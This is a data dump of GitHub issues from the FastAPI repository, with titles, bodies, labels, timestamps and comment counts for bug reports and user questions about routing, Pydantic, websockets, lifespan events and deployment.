~(don't comment in this issue, please go to the discussions and follow the instructions there)~

As FastAPI now supports Pydantic v2, any problems are not about the beta (as it's already released 😅), so let's keep the normal workflow.

If you are having problems, please create a new Discussion question following the template! 🙏  https://github.com/tiangolo/fastapi/discussions/new?category=questions",,2023-06-20T17:22:34Z,2023-08-04T17:49:34Z,26
tiangolo/fastapi,1760552062,FastAPI Executable File Using conda Environment,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i have created fastapi exe file by using conda, it will be like windows service and server..
when install the service  by using "" install_windows_service"" commant, service only running ,  not run server...what is the reason behind that...
",,2023-06-16T12:33:11Z,2023-06-16T12:40:31Z,0
tiangolo/fastapi,1759822149,SyntaxError: multiple exception types must be parenthesized,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I am importing some function from another file within same directory I am getting this error 

SyntaxError: multiple exception types must be parenthesized

I Have checked many times there is no any syntax error

![image](https://github.com/tiangolo/fastapi/assets/102589808/89b0d1dc-c398-4f45-9da7-1300b1e9524e)
",,2023-06-16T02:27:46Z,2023-06-16T06:24:48Z,2
tiangolo/fastapi,1752252357,Using lifespan event on `APIRoute()` instead in `FastAPI()`,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have asked Mr @tiangolo on Twitter this question and he suggested me to ask in Github so it can benefit others and I am agree with him. 

I have tried to apply lifespan event on `APIroute()` instead of `app` object, based on the FastAPI [tutorial](https://fastapi.tiangolo.com/advanced/events/?h=). But it seems that to showed the Keyword error on `""answer_to_everything""`. I have search on Google but I don't found any discussion related to this. 

I found that `APIRoute()` class has `lifespan` parameter too (same as `FastAPI()`), but might be require certain or additional configuration to make it happened. Any way that we can apply the lifespan on route?

I hope you can help to solve this issue. Thank you for creating an awesome API framework. ",,2023-06-12T08:55:28Z,2023-06-12T08:58:34Z,0
tiangolo/fastapi,1751702852,"When I tried to generate a swagger document through schemas during the query,  the default attribute is valid, but the attribute description is invalid","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```
from typing import Optional

import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

app = FastAPI()


class NameSchemas(BaseModel):
    name: Optional[str] = Query(default=""test"", title=""名字"", description=""名字"")

    class Config:
        query_style = ""deepObject""


@app.get(""/test"")
async def read_query_check(data: BaseModel = Depends(NameSchemas)):

    return {""name"": data.name}


if __name__ == '__main__':
    uvicorn.run(app=app)
```

![image](https://github.com/tiangolo/fastapi/assets/87324385/73fa713b-6499-436d-b231-37a1bee5bca5)
",,2023-06-12T01:12:31Z,2023-06-13T16:20:58Z,1
tiangolo/fastapi,1751049777,🐛 Type annotations for headers in `HTTPException` declare `Any` as values but only accept `str`,"🐛 Type annotations for headers in `HTTPException` declare `Any` as values but only accept `str`.

Fixed in https://github.com/tiangolo/fastapi/pull/9648

### Discussed in https://github.com/tiangolo/fastapi/discussions/8562

<div type='discussions-op-text'>

<sup>Originally posted by **DorAbu** January 20, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, HTTPException

app = FastAPI()


@app.get(""/"")
async def root():
    raise HTTPException(
        status_code=503,
        detail=f""The server is not ready to handle the request, due to ..."",
        headers={""Retry-After"": 20}
    )
```


### Description

In HTTPEx... [TRUNCATED]",bug,2023-06-10T17:25:14Z,2023-06-10T17:25:22Z,1
tiangolo/fastapi,1740569726,Why does APIRouter not allow extra keyword args to be passed along to a route class? ,"How come there is no way to pass any extra data down through the route decorators to a custom route class.

This seems like a small addition for what could be a very useful feature? Is there a reason this has not been done.

```
@router.get(""/"", some_extra_info = 1)
def get_something(): ...
```

Storing this in, say, a `route_extra` dict would allow you to do something like

`if router.routes[0].route_extra.get(""some_extra_info"") == 1: ...`

The only way to do this currently is to duplicate (since these classes are rather inextensible by nature) `APIRouter` and `APIRoute`.

The change would be rather trivial, of only adding a **kwds parameter to each of the decorators and appropriate methods, and add to the APIRoute class a new public property called extra_data which receives this.",,2023-06-04T20:21:34Z,2023-06-06T15:29:42Z,1
tiangolo/fastapi,1723538541,Exception: cannot import name 'get_args' from 'pydantic.typing',"### Discussed in https://github.com/tiangolo/fastapi/discussions/9565

<div type='discussions-op-text'>

<sup>Originally posted by **ZiChuanBuXiu** May 23, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
NA
```


### Description

```
from pydantic.typing import evaluate_forwardref, get_args, get_origin
ImportError: cannot import name 'get_args' from 'pydantic.typing' (/Users/yfeng/Library/Caches/pypoetry/virtualenvs/aips-cq-resource-api-F3u0rVOe-py3.8/lib/python3.8/site-packages/pydantic/typing.cpython-38-darwin.so)
```

In `fastapi=0.95.2`, the dependency on `pydantic` is [here](https://github.com/tiangolo/fastapi/blob/0.95.2/pyproject.toml#L45) which indicates ... [TRUNCATED]","bug,question",2023-05-24T09:19:08Z,2023-06-08T18:30:52Z,1
tiangolo/fastapi,1697490857,FastApi has no Attribute debug error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i have given instance like this : 
![Screenshot (14)](https://user-images.githubusercontent.com/109121102/236450739-9a468b6f-96dc-46f1-8792-66ada5770bcf.png)

app=FastAPI()   
when i run a fastapi file i got Error AttributeError: 'FastAPI' object has no attribute 'debug' like this,
 how can i solve this
![Screenshot (8)](https://user-images.githubusercontent.com/109121102/236450858-30967569-e10d-42e9-a186-b585728c279b.png)
",,2023-05-05T11:53:07Z,2023-05-05T18:35:39Z,0
tiangolo/fastapi,1693072499,Swagger docs shows query params as body request,"<img width=""1383"" alt=""Снимок экрана 2023-05-01 в 11 34 20"" src=""https://user-images.githubusercontent.com/74615964/235435733-c4a0725f-a937-4e6c-b8cf-437801a1d8a1.png"">
<img width=""597"" alt=""Снимок экрана 2023-05-01 в 11 34 07"" src=""https://user-images.githubusercontent.com/74615964/235435736-c1fa70a5-a8f7-43f9-bdd8-3db3254c4912.png"">
<img width=""398"" alt=""Снимок экрана 2023-05-01 в 11 33 47"" src=""https://user-images.githubusercontent.com/74615964/235435738-b7314baa-f34a-4233-abc6-07569e0da0f7.png"">

I have an endpoint, that takes as input from query params VehicleFilters, but transmission field is not shown in swagger as query param but as body request. I let as example param ""field"" and I want transmission to look like param field

_Originally posted by @ecosciug in https://github.com/tiangolo/fastapi/discussions/6748#discussioncomment-5770488_",,2023-05-02T20:40:55Z,2023-05-02T20:43:43Z,0
tiangolo/fastapi,1689076002,FastAPI tests in pydantic failing due to flask deprecation,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

hope you don't mind me creating an issue, pydantic's 1.10.X tests are failing due to a new issue with running our fastapi tests, see

https://github.com/pydantic/pydantic/actions/runs/4832692304/jobs/8611783607?pr=5628

output from pydantic's tests:

```
==================================== ERRORS ====================================
______ ERROR collecting tests/test_tutorial/test_wsgi/test_tutorial001.py ______
tests/test_tutorial/test_wsgi/test_tutorial001.py:3: in <module>
    from docs_src.wsgi.tutorial001 import app
docs_src/wsgi/tutorial001.py:3: in <module>
    from flask import Flask, escape, request
<frozen importlib._bootstrap>:1075: in _handle_fromlist
    ???
/opt/hostedtoolcache/Python/3.10.11/x64/lib/python3.10/site-packages/flask/__init__.py:71: in __getattr__
    warnings.warn(
E   DeprecationWarning: 'flask.escape' is deprecated and will be removed in Flask 2.4. Import 'markupsafe.escape' instead.
=========================== short test summary info ============================
ERROR tests/test_tutorial/test_wsgi/test_tutorial001.py - DeprecationWarning: 'flask.escape' is deprecated and will be removed in Flask 2.4. Import 'markupsafe.escape' 
```

related to https://github.com/pydantic/pydantic/pull/5628",,2023-04-28T20:06:55Z,2023-05-09T14:32:02Z,0
tiangolo/fastapi,1678629987,Using PEP 649 annotations with status code `204 No Content` and return type `None` raises `AssertionError`,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

# Reproduce

1. create FastAPI app
2. create route with status code `204 No Content`
3. add return type `None` to said route
4. add future annotations ([PEP 649](https://peps.python.org/pep-0649/))

```py
from __future__ import annotations

import http
import logging

from fastapi import FastAPI


app = FastAPI()


@app.post(""/"", status_code=http.HTTPStatus.NO_CONTENT)
async def root() -> None:
    logging.info(""endpoint called."")
```

## Expected

The file above should boot up fine when running `uvicorn filename:app --reload`

## Actual

This raises an error: `AssertionError: Status code 204 must not have a response body`

### full traceback

```
Traceback (most recent call last):
  File ""/<python_location>/lib/python3.11/multiprocessing/process.py"", line 314, in _bootstrap
    self.run()
  File ""/<python_location>/lib/python3.11/multiprocessing/process.py"", line 108, in run
    self._target(*self._args, **self._kwargs)
  File ""/<project_dir>/venv/lib/python3.11/site-packages/uvicorn/_subprocess.py"", line 76, in subprocess_started
    target(sockets=sockets)
  File ""/<project_dir>/venv/lib/python3.11/site-packages/uvicorn/server.py"", line 59, in run
    return asyncio.run(self.serve(sockets=sockets))
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/<python_location>/lib/python3.11/asyncio/runners.py"", li... [TRUNCATED]",,2023-04-21T14:35:49Z,2025-09-20T18:44:45Z,13
tiangolo/fastapi,1675360395,"Top level routes """" and ""/"" are treated as two distinct routes","### Issue Content

Title. See also:

https://github.com/encode/httpx/issues/2673

One of you is correct. It can't be both.",,2023-04-19T17:54:43Z,2023-04-19T17:58:26Z,0
tiangolo/fastapi,1666868267,`Query` default value cannot be set in `Annotated` when using `APIRouter`,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9279

<div type='discussions-op-text'>

<sup>Originally posted by **tlinhart** March 19, 2023</sup>

This is a confirmed bug. :bug: There's a fix in https://github.com/tiangolo/fastapi/pull/9315.

### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# main.py

from fastapi import FastAPI
from router import router

app = FastAPI()
app.include_router(router)

# router.py

from typing import Annotated
from fastapi import APIRouter, Query

router = APIRouter()

@router.get(""/"")
async def root(*, n: Annotated[float, Query()] = 50):
    return {""n"": n}
```


### Description

When starting the Uvicorn serve... [TRUNCATED]",bug,2023-04-13T17:45:00Z,2023-04-13T19:36:35Z,1
tiangolo/fastapi,1656777287,When to update the https://fastapi.tiangolo.com/zh/？,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When to update the https://fastapi.tiangolo.com/zh/？ just like ""Concurrency and async / await""",,2023-04-06T06:53:12Z,2023-04-06T08:33:01Z,0
tiangolo/fastapi,1634999332,"ValueError: On field ""page_size"" the following field constraints are set but not enforced: max_length. ","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

  File ""/Users/hiro/Library/Caches/pypoetry/virtualenvs/argon-QwkX3TcS-py3.11/lib/python3.11/site-packages/fastapi/dependencies/utils.py"", line 452, in analyze_param
    annotation = get_annotation_from_field_info(
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""pydantic/schema.py"", line 1019, in pydantic.schema.get_annotation_from_field_info
ValueError: On field ""page_size"" the following field constraints are set but not enforced: max_length. 
For more details see https://docs.pydantic.dev/usage/schema/#unenforced-field-constraints",investigate,2023-03-22T03:32:02Z,2023-03-22T07:37:33Z,0
tiangolo/fastapi,1620339127,"New lifespan context manager has a typing error, detected by `mypy` in apps (users' code)","### Discussed in https://github.com/tiangolo/fastapi/discussions/9241

<div type='discussions-op-text'>

<sup>Originally posted by **kthy** March 11, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from collections.abc import AsyncGenerator
from contextlib import asynccontextmanager

from fastapi import FastAPI


@asynccontextmanager
async def lifespan(_: FastAPI) -> AsyncGenerator[None, None]:
    ...
    yield
    ...


app = FastAPI(lifespan=lifespan)
```


### Description

I have taken the [example from the docs of the lifespan async context manager](https://fastapi.tiangolo.com/advanced/events/#lifespan) - new in 0.93 - shaved it down to the bare min... [TRUNCATED]","bug,question",2023-03-12T12:02:51Z,2023-03-22T10:11:20Z,2
tiangolo/fastapi,1610079330,custom response not work？,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

1. create custom response as below
```
import time
import json
import datetime
import logging
import numpy as np
import pandas as pd

from typing import Callable, Any, Optional, Dict
from fastapi import Request, Response
from starlette.background import BackgroundTask
from fastapi.routing import APIRoute

from models.tick import Tick

class DataEncoder(json.JSONEncoder):
    def default(self, obj):
        if isinstance(obj, datetime.datetime):
            return obj.strftime(""%Y-%m-%d %H:%M:%S"")
        elif isinstance(obj, datetime.date):
            return obj.strftime(""%Y-%m-%d"")
        elif isinstance(obj, type(bytes)):
            return str(obj, encoding='utf-8')
        elif isinstance(obj, type(np.ndarray)):
            return obj.tolist()
        elif isinstance(obj, UUID):
            return obj.hex
        elif isinstance(obj, Tick):
            return obj.to_dict()
        else:
            return super(DataEncoder, self).default(obj)

def _serial(result):        
    _t = type(result)
    _rt = 'text/html'
    if _t is str:
        _s = result
    elif _t is pd.DataFrame or _t is pd.Series:
        _s = result.to_csv()
        _rt = 'text/csv'
    elif _t is np.ndarray:
        _s = json.dumps(result.tolist(), 
            ensure_ascii=False,
            allow_nan=False,
            indent=None,
           ... [TRUNCATED]",,2023-03-05T06:44:25Z,2023-03-09T07:32:10Z,1
tiangolo/fastapi,1609910569,ExampleDontWorkInColab,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content
when i try to create or read a client fails, part of the api works

The example (https://fastapi.tiangolo.com/tutorial/sql-databases/) don't work in google colab (https://colab.research.google.com/drive/1aKwxcAwgnCCpR00MPK4f1Ys77Cyx1QOT?usp=sharing).

Stack from the error:

INFO:     Started server process [138]

ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""/usr/local/lib/python3.8/dist-packages/uvicorn/protocols/http/h11_impl.py"", line 394, in run_asgi
    result = await app(self.scope, self.receive, self.send)

",,2023-03-04T19:07:01Z,2023-03-09T07:31:04Z,3
tiangolo/fastapi,1604889003,Migrate questions in GitHub Issues to GitHub Discussions,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

This is just to describe the process of migrating the GitHub issues with questions (with the label `question`) to GitHub Discussions.

Not sure if this would be useful to anyone else, maybe just for me to come back to this if I ever need it. :shrug: 

## Current GitHub Support

GitHub currently has a feature to migrate issues with a label to GitHub Discussions.

What it does is:

* For each open issue with that label, create the equivalent discussion, with all the comments, by the same users, etc.
* The issue still exists, apart from the discussion, but is then closed and locked. And the UI shows a link to the one in GitHub Discussions.
    * This information, the fact that it was migrated and that there's now a corresponding discussion, is not available in the APIs (not in REST, not in GraphQL).
    * An alternative that worked in my case, but not necessarily in others, is to check for locked issues. This worked for me only because I had never locked an issue, and when GitHub migrates them, it locks them.

But it has several catches:

* It only migrates open issues. So, questions that were answered and closed are not migrated.
* There's no API, no REST, no GraphQL. And for each individual issue, there's a link to migrate to Discussions, but still, it doesn't seem to use the API, seems to be a hardcoded form with a backend-rendered token (probably?)... [TRUNCATED]",,2023-03-01T12:33:25Z,2023-03-01T12:33:39Z,0
tiangolo/fastapi,1587844170,Duplicate headers,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,
  I like fastapi very much, but I encountered a problem during my study.

  My code :
```
from typing import List, Union

from fastapi import FastAPI, Header

app = FastAPI()


@app.get(""/items/"")
async def read_items(x_token: Union[List[str], None] = Header(default=None)):
    return {""X-Token values"": x_token}
```

I got a 422 return code not 200
<img width=""1483"" alt=""image"" src=""https://user-images.githubusercontent.com/41281305/219401923-3c007af4-5f45-40e9-8f89-934073bdaabb.png"">


According to the document description, I think I will get the following content:
```
{
    ""X-Token values"": [
        ""bar"",
        ""foo""
    ]
}
```

     ","question,answered,reviewed,question-migrate",2023-02-16T15:04:02Z,2023-02-27T19:08:09Z,2
tiangolo/fastapi,1587047339,fastapi and sqlalchemy,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

In fast API after execution of the code, the database connection is not closing using SQL alchemy how to resolve this issue?","invalid,reviewed",2023-02-16T05:31:09Z,2023-02-24T12:02:10Z,11
tiangolo/fastapi,1580688239,An error is displayed when the length of int type in response_model exceeds 16 bits,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

example
id: int = 109037141215586310
The final display is: id = 109037141215586300

The length of the data in the example is 18 bits

python version: 3.11
fastapi version: 0.91.0

At present, I don't know if it is a framework problem, or other reasons! Thanks!","invalid,answered,reviewed",2023-02-11T06:36:16Z,2023-02-11T08:20:53Z,1
tiangolo/fastapi,1563379525,"API works locally, but not in Docker Container","### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# DOCKERFILE 

FROM python:3.8
WORKDIR /app
RUN wget https://ofa-silicon.oss-us-west-1.aliyuncs.com/checkpoints/caption_large_best_clean.pt
RUN mkdir /app/checkpoints
RUN mv caption_large_best_clean.pt /app/checkpoints/caption.pt
COPY requirements.txt /app/requirements.txt
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
COPY . /app/
CMD [""uvicorn"", ""main:app"", ""--port"", ""80"", ""--host"", ""0.0.0.0""]
```


### Description

I have a machine learning API that I am trying to deploy. It runs perfectly locally and I am able to successfully build a docker image of it using the command `docker build -t <image_name> ... [TRUNCATED]","question,question-migrate",2023-01-30T23:40:50Z,2023-02-27T19:08:06Z,3
tiangolo/fastapi,1562575921,Assertion error when connecting to Websocket,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
from fastapi import FastAPI, WebSocket
from fastapi.staticfiles import StaticFiles

app = FastAPI()
curr_dir = os.path.dirname(os.path.abspath(__file__))
app.mount(""/"", StaticFiles(directory=os.path.join(curr_dir, 'folder'), html=True), name=""/"")


@app.websocket(""/ws"")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    while True:
        data = await websocket.receive_text()
        await websocket.send_text(f""Message text was: {data}"")
```


### Description

Probably a config error. I am trying to serve a static directory which also contains an index.html. The index.html includes a JS to connect ... [TRUNCATED]","question,question-migrate",2023-01-30T14:38:53Z,2023-02-27T19:08:03Z,4
tiangolo/fastapi,1562211438,"How to write a ""BaseRouter"" to reduce redundant code?","### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get(""/{exercise_id}"", response_model=Exercise)
async def get_exercise(
    exercise_id: UUID4,
    exercise_service: ExcerciseService = Depends(get_exercise_service),
) -> Optional[models.Exercise]:
    return exercise_service.get(exercise_id)

@router.get(""/{user_id}"", response_model=User)
async def get_user(
    user_id: UUID4,
    user_service: UsersService = Depends(get_users_service),
) -> Optional[models.User]:
    return user_service.get(user_id)
```


### Description

I have several models which all require the basic CRUD operations as API endpoints. Therefore I wrote several routers containing similar co... [TRUNCATED]","question,question-migrate",2023-01-30T11:01:14Z,2023-02-27T19:08:00Z,5
tiangolo/fastapi,1561051210,Dataclasses get converted into dicts instead of being validated by pydantic directly,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from dataclasses import dataclass, field
from typing import Any
from pydantic import BaseModel, BaseConfig
from fastapi import FastAPI


class ThingBase:
    id: int
    circular_ref: ""ThingBase""


class ThingID:
    @classmethod
    def __get_validators__(cls):
        yield cls.validate

    @classmethod
    def validate(cls, obj: Any) -> int:
        if isinstance(obj, int):
            return obj
        elif isinstance(obj, ThingBase):
            return obj.id
        else:
            raise TypeError


class Model(BaseModel):
    id: int
    circular_ref: ThingID

    class Config(BaseConfig):
        orm_mode = True
... [TRUNCATED]","question,question-migrate",2023-01-28T23:36:18Z,2023-02-24T16:30:40Z,3
tiangolo/fastapi,1560676688,filenames are truncated when uploading multiple files,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/upload_one"")
async def upload_one(file: UploadFile = File(...)):
    """"""
    When uploading ./dir/filename the following prints ""./dir/filename"" as expected.
    """"""

    return file.filename


@router.post(""/upload_multiple"")
async def upload_multiple(files: list[UploadFile]):
    """"""
    When uploading ./dir/filename1 and ./dir/filename2 the following unexpectedly prints
    [""filename1"", ""filename2""] instead of [""./dir/filename1"", ""./dir/filename2""].
    """"""
    return [file.filename for file in files]
```


### Description

The doc comments above explains it all. When an endpoint receives a list of UploadFiles, the filenam... [TRUNCATED]","question,question-migrate",2023-01-28T03:49:34Z,2023-02-27T19:07:57Z,4
tiangolo/fastapi,1560362505,How can I integrate source code changes into my FastAPI install?,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class OAuth2PasswordRequestForm:
    """"""
    This is a dependency class, use it like:
        @app.post(""/login"")
        def login(form_data: OAuth2PasswordRequestForm = Depends()):
            data = form_data.parse()
            print(data.username)
            print(data.password)
            for scope in data.scopes:
                print(scope)
            if data.client_id:
                print(data.client_id)
            if data.client_secret:
                print(data.client_secret)
            return data
    It creates the following Form request parameters in your endpoint:
    grant_type: the OAuth2 spec says... [TRUNCATED]","question,question-migrate",2023-01-27T20:04:55Z,2023-02-27T19:07:53Z,5
tiangolo/fastapi,1558628775,Why authentication not work when i change object value?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta

from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""a50e71f6776a2977dfaf763b8d3987add1435735a07eaae1af50768c0be5dc0e""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username"": ""johndoe"",
        ""full_name"": ""John Doe"",
        ""email"": ""johndoe@example.com"",
       ... [TRUNCATED]","question,reviewed,question-migrate",2023-01-26T19:06:38Z,2023-02-24T16:30:37Z,2
tiangolo/fastapi,1556946613,how to use wss in fastAPI,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.websocket(""/wss"")
```


### Description

how to use wss 

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.11

### Additional Context

_No response_","question,question-migrate",2023-01-25T16:34:00Z,2023-02-24T16:30:34Z,3
tiangolo/fastapi,1555312925,WebsocketException reason is not visible to the client,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi import WebSocketException, status

app = FastAPI()

@app.websocket(""/ws"")
async def websocket_endpoint():
   raise WebSocketException(code=status.WS_1008_POLICY_VIOLATION, reason=""I want you to know this"")
